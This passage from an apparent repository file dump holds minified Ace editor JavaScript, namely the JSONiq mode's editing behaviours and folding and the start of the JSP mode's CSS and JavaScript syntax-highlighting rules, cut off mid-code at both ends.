o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/behaviour/xquery\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/mode/behaviour/xml\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function a(e,t){var n=!0,r=e.type.split(\".\"),i=t.split(\".\");return i.forEach(function(e){if(r.indexOf(e)==-1)return n=!1,!1}),n}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../behaviour/xml\").XmlBehaviour,u=e(\"../../token_iterator\").TokenIterator,f=function(){this.inherit(s,[\"braces\",\"parens\",\"string_dquotes\"]),this.inherit(o),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var s=n.getCursorPosition(),o=new u(r,s.row,s.column),f=o.getCurrentToken(),l=!1,e=JSON.parse(e).pop();if(f&&f.value===\">\"||e!==\"StartTag\")return;if(!f||!a(f,\"meta.tag\")&&(!a(f,\"text\")||!f.value.match(\"/\"))){do f=o.stepBackward();while(f&&(a(f,\"string\")||a(f,\"keyword.operator\")||a(f,\"entity.attribute-name\")||a(f,\"text\")))}else l=!0;var c=o.stepBackward();if(!f||!a(f,\"meta.tag\")||c!==null&&c.value.match(\"/\"))return;var h=f.value.substring(1);if(l)var h=h.substring(0,s.column-f.start);return{text:\"></\"+h+\">\",selection:[1,1]}}})};r.inherits(f,i),t.XQueryBehaviour=f}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/jsoniq\",[\"require\",\"exports\",\"module\",\"ace/worker/worker_client\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/xquery/jsoniq_lexer\",\"ace/range\",\"ace/mode/behaviour/xquery\",\"ace/mode/folding/cstyle\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"../worker/worker_client\").WorkerClient,i=e(\"../lib/oop\"),s=e(\"./text\").Mode,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./xquery/jsoniq_lexer\").JSONiqLexer,a=e(\"../range\").Range,f=e(\"./behaviour/xquery\").XQueryBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=e(\"../anchor\").Anchor,h=function(){this.$tokenizer=new u,this.$behaviour=new f,this.foldingRules=new l,this.$highlightRules=new o};i.inherits(h,s),function(){this.completer={getCompletions:function(e,t,n,r,i){if(!t.$worker)return i();t.$worker.emit(\"complete\",{data:{pos:n,prefix:r}}),t.$worker.on(\"complete\",function(e){i(null,e.data)})}},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=t.match(/\\s*(?:then|else|return|[{\\(]|<\\w+>)\\s*$/);return i&&(r+=n),r},this.checkOutdent=function(e,t,n){return/^\\s+$/.test(t)?/^\\s*[\\}\\)]/.test(n):!1},this.autoOutdent=function(e,t,n){var r=t.getLine(n),i=r.match(/^(\\s*[\\}\\)])/);if(!i)return 0;var s=i[1].length,o=t.findMatchingBracket({row:n,column:s});if(!o||o.row==n)return 0;var u=this.$getIndent(t.getLine(o.row));t.replace(new a(n,0,n,s-1),u)},this.toggleCommentLines=function(e,t,n,r){var i,s,o=!0,u=/^\\s*\\(:(.*):\\)/;for(i=n;i<=r;i++)if(!u.test(t.getLine(i))){o=!1;break}var f=new a(0,0,0,0);for(i=n;i<=r;i++)s=t.getLine(i),f.start.row=i,f.end.row=i,f.end.column=s.length,t.replace(f,o?s.match(u)[1]:\"(:\"+s+\":)\")},this.createWorker=function(e){var t=new r([\"ace\"],\"ace/mode/xquery_worker\",\"XQueryWorker\"),n=this;return t.attachToDocument(e.getDocument()),t.on(\"ok\",function(t){e.clearAnnotations()}),t.on(\"markers\",function(t){e.clearAnnotations(),n.addMarkers(t.data,e)}),t},this.removeMarkers=function(e){var t=e.getMarkers(!1);for(var n in t)t[n].clazz.indexOf(\"language_highlight_\")===0&&e.removeMarker(n);for(var r=0;r<e.markerAnchors.length;r++)e.markerAnchors[r].detach();e.markerAnchors=[]},this.addMarkers=function(e,t){var n=this;t.markerAnchors||(t.markerAnchors=[]),this.removeMarkers(t),t.languageAnnos=[],e.forEach(function(e){function u(i){r&&t.removeMarker(r),o.row=n.row;if(e.pos.sc!==undefined&&e.pos.ec!==undefined){var s=new a(e.pos.sl,e.pos.sc,e.pos.el,e.pos.ec);r=t.addMarker(s,\"language_highlight_\"+(e.type?e.type:\"default\"))}i&&t.setAnnotations(t.languageAnnos)}var n=new c(t.getDocument(),e.pos.sl,e.pos.sc||0);t.markerAnchors.push(n);var r,i=e.pos.ec-e.pos.sc,s=e.pos.el-e.pos.sl,o={guttertext:e.message,type:e.level||\"warning\",text:e.message};u(),n.on(\"change\",function(){u(!0)}),e.message&&t.languageAnnos.push(o)}),t.setAnnotations(t.languageAnnos)},this.$id=\"ace/mode/jsoniq\"}.call(h.prototype),t.Mode=h})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-jsp.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|tim